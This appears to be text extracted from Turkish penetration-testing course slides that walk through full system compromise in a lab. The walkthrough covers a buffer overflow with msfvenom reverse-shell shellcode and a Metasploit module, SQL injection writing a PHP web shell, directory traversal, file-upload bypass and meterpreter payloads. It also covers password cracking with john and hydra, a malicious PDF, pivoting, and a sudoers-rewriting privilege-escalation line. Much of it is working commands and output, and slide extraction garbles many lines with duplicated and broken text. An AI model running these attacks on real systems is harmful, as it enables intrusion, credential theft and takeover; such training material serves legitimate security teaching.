0x43 değerine sahip olan ASCII C
s.close
karakteri yerine Hex "CC"
değerini yazıyoruz.
Böylece uygulama akışı bu alana
yönlendiğinde breakpoint işlemi
gerçekleşecek.
SHELLCODE
CC int3
Payload'umuz'un
tam halini Follow
in Dump yaparak
gözlemleyebiliriz
SHELLCODE
msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.x.x LPORT=4445 -e
x86/shikata_ga_nai -f c -b "\x00\x0a\x0d"
SHELLCODE
SHELLCODE
• Msfvenom yaklaşık 350 byte uzunluğunda bir
shellcode oluşturdu.
• Bu shellcode’u daha önce stack alanına yazdırdığımız
‘C’ karakterlerinin yerini alacak şekilde scriptimizi
revize ediyoruz.
• Oluşturduğumuz shellcode çalışırken belirtilen stack
alanının ilk bir kaç bytelık bölümünü eziyor. Bu
durumun shellcode'u bozmasını engellemek için
shellcode'umuzun önünde ("0x90") NOP
instruction'larından bir tampon alan oluşturacağız.
• NOP instruction'ını etkisiz bir komut olarak
düşünebilirsiniz (XCHG EAX, EAX).
SHELLCODE
Shellcode
NOP Sled
REVERSE SHELL
# nc -lvp 4445
REVERSE SHELL
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Mevcut açıklıktan daha kolay faydalanabilmek için,
oluşturduğumuz exploit kodunu metasploit üzerine
ekleyeceğiz.
• Bu işlem için öncelikle örnek bir metasploit exploit
kodu bulalım.
• Metasploit içerisinde bulunan kodlar Ruby dile ile
yazılmış olup, metasploit tarafından özel olarak
hazırlanmış kütüphaneleri kullanmaktadırlar.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
require 'msf/core'
end
Offset değeri
btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
Payload'u gönderiyoruz
Handler'ı başlatıyoruz
btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve
/usr/share/metasploit-
framework/modules/exploits/windows/misc dizinine
kopyalıyoruz.
• Msfconsole komutu ile metasploit framework’u
çalıştırıyoruz.
• Kodumuzda herhangi bir hata olması durumda
msfconsole bizi uyaracaktır.
/usr/share/metasploit-
framework/modules/exploits/windows/misc/ btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
0:000> db 77185bc4
77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l.
77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 l........[.w\.S.
77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 Y.S.T.E.M.3.2.\.
77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 .........U..QQ.e
77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 ..SV.5..$wW....$
77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj....6j..
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
BİR MODÜL İÇİNDE BİR FONKSİYONUN ADRESİNİ BULMAK
IMAGE DOS HEADER EXPORT Name Pointer Table
Modül Baz
Adresi (+0x3c) Yeni EXE # Function Name RVA WinExec
Header Offseti
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
SİSTEM ELE GEÇİRME SALDIRI AĞACI
İşletim Sistemine
Shell veya
Terminal Erişimi
Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle
OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır
OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et
Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle
OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır
OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et
• SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması
• SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu
bulunmaması
SQL INJECTION SENARYOSU
/cmd.php?cmd=ipconfig
wget.vbs script'imizi
oluşturacak komutları
bir dosyaya kaydedelim
SQL INJECTION SENARYOSU
Payloads tab'ında
göndereceğimiz istekleri
dosyadan yükleyebiliriz
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
Uygulama
Uygulama sunucusuna
sunucusuna yüklemek
yüklemek üzere
üzere bir
bir meterpreter
meterpreter staged
staged
payload
payload üretiyoruz.
üretiyoruz.
python -m
SimpleHTTPServer 80 msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.152.129 lport=5555 -f exe -o
payload.exe
SQL INJECTION SENARYOSU
cmd.php?cmd=payload.exe
SQL INJECTION SENARYOSU
payload.exe çalıştığında
reverse TCP bağlantımız
gerçekleşiyor
SQLMAP KULLANIMI
sqlmap --url="http://192.168.152.128/master.php?group=fatura&page=FaturaDetaylarim.php&id=7"
--cookie="BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63;
PHPSESSID=NTAwMDAwMDAzMDY5" -p id --os-shell
SQLMAP KULLANIMI
SQL INJECTION SENARYOSU
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-o
perating-system-full-control-whitepaper-4633857
DİZİN AŞIM SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle
OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır
OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et
Tanımlamalar /
Bilgilerim menüsünde
PDF linklerine yapılan
istekle ilgili fonksiyonda
bir dizin aşım açıklığı
bulunuyor
DİZİN AŞIM SENARYOSU
"filename" parametresine
verilen dosya ismi ile üst
dizinlerdeki dosyalara
erişmek mümkün
DİZİN AŞIM SENARYOSU
Repeater modülünde
"filename" parametresini
düzenleyerek
..\..\..\..\Windows\win.ini
dosyasının içeriğine erişebildik
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
..\..\..\..\wamp\www\config.php
dosyasına yaptığımız istekte
config.php dosyasının içinde web
uygulamasının veritabanı erişim
bilgilerini gözlemleyebildik
DİZİN AŞIM SENARYOSU
Bu
Bu noktadan
noktadan sonra
sonra yazılacak
yazılacak bir
bir web
web
uygulaması
uygulaması aracılığı
aracılığı ile
ile OS
OS komutları
komutları
çalıştırılabilir
çalıştırılabilir ve
ve bir
bir payload
payload
yüklenerek
yüklenerek sistem
sistem ele
ele geçirilebilir.
geçirilebilir.
| root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
| markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C |
Veritabanı
Fonksiyonalitesiyle Web Uygulaması OS Komutları ile
Sisteme Payload ile Sisteme Sisteme Payload
Yükle Payload Yükle Yükle
OS Komutları ile
Hassas Erişim SQL Injection ile SQL Injection ile
Web Uygulaması
Bilgilerini İçeren Sisteme Web OS Komutları
Yaz
Bir Dosyayı Oku Uygulaması Yaz Çalıştır
OS Komutları
Sisteme Web Çalıştırmamıza İmkan
Uygulaması Yükle Veren Bir PHP
Kodunu Include Et
PHP payload'unun
başına ve sonuna "<?
php" ve "?>" tag'lerini
koymayı unutmayınız
DOSYA YÜKLEME SENARYOSU
Uygulama geliştirici
HTML kodu içinde
yüklenebilecek dosya
türlerini kısıtlamış
Ancak bu kısıtı aşmak
dosya uzantısını aşmak
veya bir resim seçtikten
sonra araya girerek
dosya içeriğini
değiştirmek kadar kolay
DOSYA YÜKLEME SENARYOSU
DOSYA YÜKLEME SENARYOSU
Dosya adı
Dosya içeriği
DOSYA YÜKLEME SENARYOSU
Dosyamız başarılı
biçimde yüklendi
DOSYA YÜKLEME SENARYOSU
Metasploit handler ile web
sunucusundan gelecek olan
reverse TCP bağlantıyı
beklemeye hazırız
DOSYA YÜKLEME SENARYOSU
Sistem
Sistem –– 11 senaryosunda
senaryosunda kullandığımız
kullandığımız SQLi
SQLi açıklığını
açıklığını
bu
bu defa
defa SQLMAP
SQLMAP aracı
aracı ile
ile test
test edelim.
edelim.
SQLMAP ARACININ ETKİNLİĞİ
Öncelikle
Öncelikle açıklığın
açıklığın bulunduğu
bulunduğu sayfaya
sayfaya tanılanmış
tanılanmış bir
bir
admin
admin kullanıcısı
kullanıcısı ile
ile erişebileceğimizi
erişebileceğimizi senaryo
senaryo
çalışması
çalışması sırasında
sırasında da
da görmüştük.
görmüştük.
SQLMAP ARACININ ETKİNLİĞİ
Sayfaya
Sayfaya tanılanmış
tanılanmış birbir kullanıcı
kullanıcı
olarak
olarak erişebilmek
erişebilmek için
için öncelikle
öncelikle
daha
daha önce
önce tespit
tespit ettiğimiz
ettiğimiz admin
admin
kullanıcı
kullanıcı parolasıyla
parolasıyla giriş
giriş yapacağız.
yapacağız.
Hedef
Hedef sayfaya
sayfaya da
da authenticate
authenticate
olduktan
olduktan sonra
sonra elde
elde ettiğimiz
ettiğimiz cookie
cookie
ile
ile erişebileceğiz.
erişebileceğiz. BuBu cookie'yi
cookie'yi elde
elde
edebilmek
edebilmek için
için iletişimimizi
iletişimimizi bir
bir
attack
attack proxy
proxy üzerinden
üzerinden geçireceğiz.
geçireceğiz.
SQLMAP ARACININ ETKİNLİĞİ
Trafiği
Trafiği incelemek
incelemek için
için Burp
Burp Suite
Suite aracını
aracını kullanıyoruz.
kullanıyoruz.
SQLMAP ARACININ ETKİNLİĞİ
"admin" / "btrisk"
erişim bilgileri ile giriş yapalım.
SQLMAP ARACININ ETKİNLİĞİ
Authenticate
Authenticate olduktan
olduktan sonra
sonra iletilen
iletilen
isteklerden
isteklerden herhangi
herhangi birisinden
birisinden
oturum
oturum cookie'lerini
cookie'lerini elde
elde edebiliriz.
edebiliriz.
SQLMAP ARACININ ETKİNLİĞİ
Repeater
Repeater modülünde
modülünde "keyword"
"keyword"
parametresine
parametresine tırnak
tırnak işareti
işareti
attığımızda
attığımızda SQL
SQL sunucu
sunucu hatasını
hatasını
gözlemleyebiliyoruz.
gözlemleyebiliyoruz.
SQLMAP ARACININ ETKİNLİĞİ
Sqlmap'e
Sqlmap'e gerekli
gerekli cookie
cookie parametresi
parametresi
ve
ve hedef
hedef daraltmak
daraltmak için
için injection
injection
yapılabilecek
yapılabilecek hedef
hedef parametre
parametre ve ve
veritabanı
veritabanı sunucu
sunucu tipini
tipini de
de veriyoruz.
veriyoruz.
SQLMAP ARACININ ETKİNLİĞİ
SQLMAP
SQLMAP bizim
bizim açıkça
açıkça gördüğümüz
gördüğümüz
keyword
keyword parametresinin
parametresinin SQLi
SQLi
açıklığına
açıklığına sahip
sahip olma
olma durumunu
durumunu tespit
tespit
edemiyor.
edemiyor.
SQLMAP ARACININ ETKİNLİĞİ
SQLMAP neden başarılı olamadı?
• Öncelikle "keyword" parametresine bir tırnak işareti ile istek
yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir.
Bu açıdan SQLMAP beklentinin altında kalmıştır.
• POC payload'una baktığımızda injection yapılabilir
parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir.
Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi
ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT
açıklığını tespit edememesi anlaşılabilir.
http://[host]/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT
1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
PAROLA
KIRMA
SALDIRILARI
İÇERİK
• Parola Saldırı Türleri
• Hashing Algoritması
• Salt Yöntemi
• Rainbow Tables & Online Crackers
• Linux Hash Kırma
• Windows Hash Kırma
• MySQL Hash Kırma
• Çevrimiçi (Online) Parola Kırma
PAROLA SALDIRI TÜRLERİ
Parola hash bilgisine sahip olma durumuna göre:
• Çevrimdışı (offline) parola saldırıları – Hash var
• Çevrimiçi (online) parola saldırıları – Hash yok,
uzaktan veya sistem üzerinde dinamik olarak
Salt
Salt kullanılmayan
kullanılmayan hash
hash değerleri
değerleri için
için
önceden
önceden hesaplanmış
hesaplanmış parola
parola
hash'lerini
hash'lerini kullanarak
kullanarak hızlı
hızlı parola
parola
kırma
kırma imkanı
imkanı bulunmaktadır.
bulunmaktadır.
RAINBOW TABLES & ONLINE CRACKERS
MD5
MD5
NTLM
NTLM
SHA1
SHA1
LINUX HASH KIRMA
Kali
Kali bilgisayarımızın
bilgisayarımızın kullandığı
kullandığı hash
hash
algoritması
algoritması SHA512
SHA512
Ayrıca
Ayrıca parola
parola hash'inin
hash'inin (daha
(daha sonra
sonra hash
hash
değerini
değerini göreceğiz)
göreceğiz) başındaki
başındaki "$6"
"$6" ifadesi
ifadesi
many
many rounds
rounds anlamına
anlamına geliyor
geliyor
Öntanımlı
Öntanımlı round
round sayısının
sayısının ise
ise 5000
5000
olduğunu
olduğunu bu bu dosyada
dosyada görebiliyoruz.
görebiliyoruz.
LINUX HASH KIRMA
Passwd
Passwd dosyasında
dosyasında kullanı
kullanı adını
adını ve
ve id
id
bilgisini
bilgisini görüyoruz.
görüyoruz.
Kullanıcı
Kullanıcı id'si
id'si "0"
"0" root
root kullanıcısı
kullanıcısı olduğu
olduğu
anlamına
anlamına geliyor.
geliyor. (Unix'te
(Unix'te kullanıcı
kullanıcı adı
adı
önemli
önemli değildir,
değildir, önemli
önemli olan
olan kullanıcı
kullanıcı
id'sidir)
id'sidir)
Parola
Parola alanlarında
alanlarında iseise "x"
"x" ifadesi
ifadesi geçiyor,
geçiyor,
çünkü
çünkü parola
parola hash
hash değerleri
değerleri shadow
shadow
dosyasında
dosyasında yer yer alıyor.
alıyor.
LINUX HASH KIRMA
Parola
Parola hash
hash değerlerini
değerlerini ise
ise shadow
shadow
dosyasında
dosyasında görüyoruz.
görüyoruz. Bu
Bu dosyayı
dosyayı root
root
kullanıcısı
kullanıcısı ve
ve shadow
shadow grubu
grubu dışındaki
dışındaki
kullanıcılar
kullanıcılar göremezler.
göremezler.
"*"
"*" ve
ve "!"
"!" değerleri
değerleri hiçbir
hiçbir parola
parola hash'i
hash'i bu
bu
değerlerle
değerlerle eşleşmeyeceği
eşleşmeyeceği için
için bu
bu
hesaplarla
hesaplarla logon
logon olunamaz
olunamaz anlamına
anlamına gelir.
gelir.
LINUX HASH KIRMA
"john"
"john" parola
parola kırma
kırma aracı
aracı Unix
Unix hash'lerini
hash'lerini
tek
tek bir
bir dosyada
dosyada beklediği
beklediği için
için "unshadow"
"unshadow"
aradı
aradı ile
ile her
her iki
iki dosyayı
dosyayı hash
hash içeren
içeren
passwd
passwd dosyası
dosyası haline
haline dönüştürüyoruz.
dönüştürüyoruz.
## unshadow
unshadow /etc/passwd
/etc/passwd /etc/shadow
/etc/shadow >> pwdhash.txt
pwdhash.txt
LINUX HASH KIRMA
Yapacağımız
Yapacağımız çalışmada
çalışmada kaba
kaba kuvvet
kuvvet yöntemini
yöntemini kullanabiliriz,
kullanabiliriz,
ancak
ancak bu
bu günler,
günler, aylar
aylar veya
veya daha
daha uzun
uzun sürebilir.
sürebilir. Örneğimizde
Örneğimizde
hedef
hedef kullanıcıların
kullanıcıların Ankara'lı
Ankara'lı olduğu
olduğu veya
veya Ankara
Ankara ileile ilişkili
ilişkili
olduğunu
olduğunu bildiğimizi
bildiğimizi varsayalım.
varsayalım.
Bu
Bu senaryoya
senaryoya göre
göre büyük
büyük bir
bir parola
parola dosyasından
dosyasından içinde
içinde "ankara"
"ankara"
kelimesi
kelimesi (büyük
(büyük harf
harf küçük
küçük harf
harf duyarsız
duyarsız biçimde)
biçimde) geçen
geçen
parolaları
parolaları seçiyoruz.
seçiyoruz. Bir
Bir başka
başka yöntem
yöntem de de parola
parola politikasını
politikasını
biliyorsak
biliyorsak böyle
böyle bir
bir dosyadan
dosyadan belirli
belirli uzunluktaki
uzunluktaki parolaları
parolaları ayırma
ayırma
yöntemi
yöntemi olabilir
olabilir (#
(# awk
awk -F:
-F: 'length($1)==6'
'length($1)==6' filename.txt
filename.txt gibi)
gibi)
Bu
Bu dosyaya
dosyaya ayrıca
ayrıca kullanıcı
kullanıcı adlarını
adlarını ekliyoruz.
ekliyoruz.
## grep
grep -i-i ankara
ankara /usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt >> dict.txt
dict.txt
## awk
awk -F:
-F: '{print
'{print $1}'
$1}' /etc/passwd
/etc/passwd >>
>> dict.txt
dict.txt
LINUX HASH KIRMA
## john
john --wordlist=dict.txt
--wordlist=dict.txt --rules
--rules pwdhash.txt
pwdhash.txt
John'a
John'a bir
bir sözlük
sözlük verdiğimiz
verdiğimiz gibi
gibi onun
onun --rules
--rules özelliğini
özelliğini kullanarak
kullanarak bu
bu sözlükteki
sözlükteki kelimeleri
kelimeleri
dönüştürmesini
dönüştürmesini de de istiyoruz.
istiyoruz.
John'un
John'un uyguladığı
uyguladığı kurallardan
kurallardan birisinin
birisinin de
de sözlükteki
sözlükteki kelimelerin
kelimelerin tersten
tersten yazılışı
yazılışı olduğu
olduğu
görülüyor,
görülüyor, çünkü
çünkü bizim
bizim sözlüğümüzde
sözlüğümüzde kullanıcı
kullanıcı adları
adları vardı,
vardı, ancak
ancak "root"un
"root"un parolasının
parolasının
"toor"
"toor" olduğunu
olduğunu bulabildi.
bulabildi.
WINDOWS HASH KIRMA
Kullanıcı
Kullanıcı NTLM
NTLM
ID
ID LM
LM Hash'i
Hash'i Hash'i
Hash'i
Adı
Adı
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
WINDOWS HASH KIRMA
Windows
Windows Vista
Vista // Windows
Windows Server
Server
2008'den
2008'den itibaren
itibaren LM
LM hash'leri
hash'leri
LM
LM Hash
Hash öntanımlı
öntanımlı olarak
olarak iptal
iptal edilmiştir.
edilmiştir.
Algoritması
Algoritması
WINDOWS HASH KIRMA
Kırılan
Kırılan LM
LM Hash
Hash parçaları
parçaları en
en
fazla
fazla 77 karakter
karakter ve
ve hepsi
hepsi büyük
büyük
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee
harf
harf
Windows
Windows 7'den
7'den aldığımız
aldığımız LM
LM
Hash'inin
Hash'inin her
her iki
iki parçası
parçası da
da boş
boş
WINDOWS HASH KIRMA
NTLM
NTLM Hash'i
Hash'i kırmak
kırmak için
için
hashkiller.co.uk
hashkiller.co.uk sitesinden
sitesinden
faydalanabiliriz.
faydalanabiliriz.
WINDOWS HASH KIRMA
31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0
979357191cb4f445b47292af934fd2a7
979357191cb4f445b47292af934fd2a7
Birinci
Birinci hash
hash değeri
değeri atanmamış
atanmamış birbir parola
parola olduğu
olduğu için
için
bulunamayan
bulunamayan Administrator
Administrator kullanıcı
kullanıcı parolası
parolası
İkinci
İkinci hash
hash değeri
değeri "test"
"test" kullanıcısının
kullanıcısının parolası
parolası olan
olan
"btrisk"
"btrisk"
MYSQL HASH KIRMA
mysql>
mysql> select
select user,host,authentication_string
user,host,authentication_string from
from mysql.user
mysql.user
|| markzuckerberg
markzuckerberg || localhost
localhost || *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C
*7B8322522948E1C43FA9706BDD4043C0A8BFCD3C ||
|| root
root || %% || *12E48759FDB4B079E2C807E41B9756AD177719B3
*12E48759FDB4B079E2C807E41B9756AD177719B3 ||
MYSQL HASH KIRMA
MySQL
MySQL bağlantısında
bağlantısında eldeelde ettiğimiz
ettiğimiz bir
bir hash
hash değerini
değerini
hash-identifier
hash-identifier aracı
aracı ile
ile incelediğimizde
incelediğimizde bize
bize SHA1
SHA1 veya
veya
MySQL
MySQL hash'i
hash'i olduğunu
olduğunu söylüyor.
söylüyor.
MYSQL HASH KIRMA
hashkiller.co.uk
hashkiller.co.uk sitesinin
sitesinin veritabanına
veritabanına göre
göre bubu parola
parola
"dadada".
"dadada". BuBu tür
tür veritabanlarının
veritabanlarının oluşturulabilmesinin
oluşturulabilmesinin
sebebi
sebebi daha
daha önce
önce dede söylediğimiz
söylediğimiz gibi
gibi salt
salt değeri
değeri
kullanılmamış
kullanılmamış olması.
olması. Aksi
Aksi takdirde
takdirde bu
bu veritabanları
veritabanları için
için
gerekli
gerekli alan
alan ve
ve zaman
zaman çokçok daha
daha fazla
fazla olacaktı.
olacaktı.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
hydra
hydra -l-l root
root -P
-P dict.txt
dict.txt 192.168.163.140
192.168.163.140 mysql
mysql
Çevrimiçi
Çevrimiçi (online)
(online) parola
parola saldırıları
saldırıları için
için kullanılabilecek
kullanılabilecek pek
pek çok
çok araçtan
araçtan bir
bir
tanesi
tanesi Hydra.
Hydra. Çevrimiçi
Çevrimiçi parola
parola saldırıları
saldırıları parola
parola hash'lerine
hash'lerine yönelik
yönelik
saldırılara
saldırılara nazaran
nazaran çok
çok daha
daha uzun
uzun sürdüğü
sürdüğü gibi
gibi log
log kayıtlarının
kayıtlarının oluşmasına
oluşmasına
ve
ve daha
daha kötüsü
kötüsü hesapların
hesapların kilitlenmesine
kilitlenmesine ve ve hizmet
hizmet kaybına
kaybına neden
neden olabilir.
olabilir.
Bu
Bu nedenle
nedenle dikkatli
dikkatli kullanılmaları
kullanılmaları gerekmektedir.
gerekmektedir.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
Hydra
Hydra aracının
aracının desteklediği
desteklediği protokol
protokol ve
ve
servisler.
servisler.
İSTEMCİ
TARAFLI
SALDIRILAR
İSTEMCİ TARAFLI SALDIRILAR
• İstemci Taraflı saldırılar son kullanıcı tarafında
gerçekleştirilen saldırılardır.
• Burada oluşturduğumuz herhangi bir zararlı
içerik kullanıcının bilgisayarına iletilir.
• Bir site üzerindeki sahte bir uygulama veya dosya
örnek verilebilir.
• Adım adım bir uygulama gerçekleştirelim.
• Saldırı uygulamamızda bir pdf dosyası
kullanacağız.
İSTEMCİ TARAFLI SALDIRILAR
Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR
Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR
• Metasploit ile oluşturduğumuz ClientSide.pdf
dosyasını, mail veya farklı bir yolla kullanıcının
bilgisayarına gönderebilirsiniz.
• Biz senaryo amaçlı olarak kopyalıyoruz.
İSTEMCİ TARAFLI SALDIRILAR
İSTEMCİ TARAFLI SALDIRILAR
İstemci tarafına
aktarılan PDF dosyası
İSTEMCİ TARAFLI SALDIRILAR
Handler Payload
Tanımı
İSTEMCİ TARAFLI SALDIRILAR
Exploit
PIVOTING
PIVOTING
• Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı
olduğu diğer arayüzlerden erişilebilen sunuculara
erişim imkanımız doğacaktır.
• Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir
firewall'un arkasında ise bizim tabi olduğumuz erişim
kurallarından bağımsız biçimde kendi iç ağındaki diğer
sunuculara erişim imkanı olabilir.
PIVOTING
192.168.2.211 10.0.0.121
192.168.2.235
10.0.0.120
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar:
• Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli
araçları yükleyerek bu sunucu kaynakları üzerinden (komut
satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere
erişmek
• Sunucuyu Router Olarak Kullanma: Atlama sistemi
üzerinde işletim sisteminin verdiği routing imkanları
kullanılarak ve kendi bilgisayarımızda gerekli routing
ayarlarını yaparak diğer sunuculara bu sistem üzerinden
erişmek (bu yöntem eğer hedef sunucu firewall'un arkasında ise
büyük oranda etkisiz olacaktır)
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu
platformunun sağladığı port forwarding imkanlarını veya bu
sunucu üzerinde çalışabilen port forwarding araçlarını
kullanarak diğer sistemlere erişmek. Bu yöntemde ele
geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu
firewall'un izin verdiği bir porta erişerek arka taraftaki
herhangi bir IP adresinin herhangi bir portuna erişme
imkanımız olabilecektir.
PIVOTING
Linux Port Forwarding Örnekleri
1 Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)
msfconsole> use auxiliary/scanner/portscan/tcp
msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini
değiştirmek isteyeceksiniz]
msfconsole> set ports 1-65535
msfconsole> set rhosts 10.1.0.155
msfconsole> run
PIVOTING
Metasploit ile Pivoting (2. Yöntem)
2 Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)
msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada
oturum numaranızın "1" olduğu varsayılmıştır]
meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter
komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz]
meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155
Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını
görmek için
C:\> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:\> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır,
BINARY_PATH_NAME bölümünde exe yolu görülür]
Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip
değilsek servisin arkasında çalışan uygulama adını göremeyiz)
C:\> netstat -anob [o – process id’sini, b – binary dosyayı gösterir]
Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary
görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için
aşağıdaki komutu kullanabiliriz.
C:\> tasklist /fi "pid eq 1064"
Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows
servisi ile ilişkili olanlarını listelemek için
C:\> tasklist /SVC
Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için
C:\> tasklist /V
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması
Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki
komutlarla araştırılabilir:
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
...
LINUX YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
“root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale
edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /script.sh
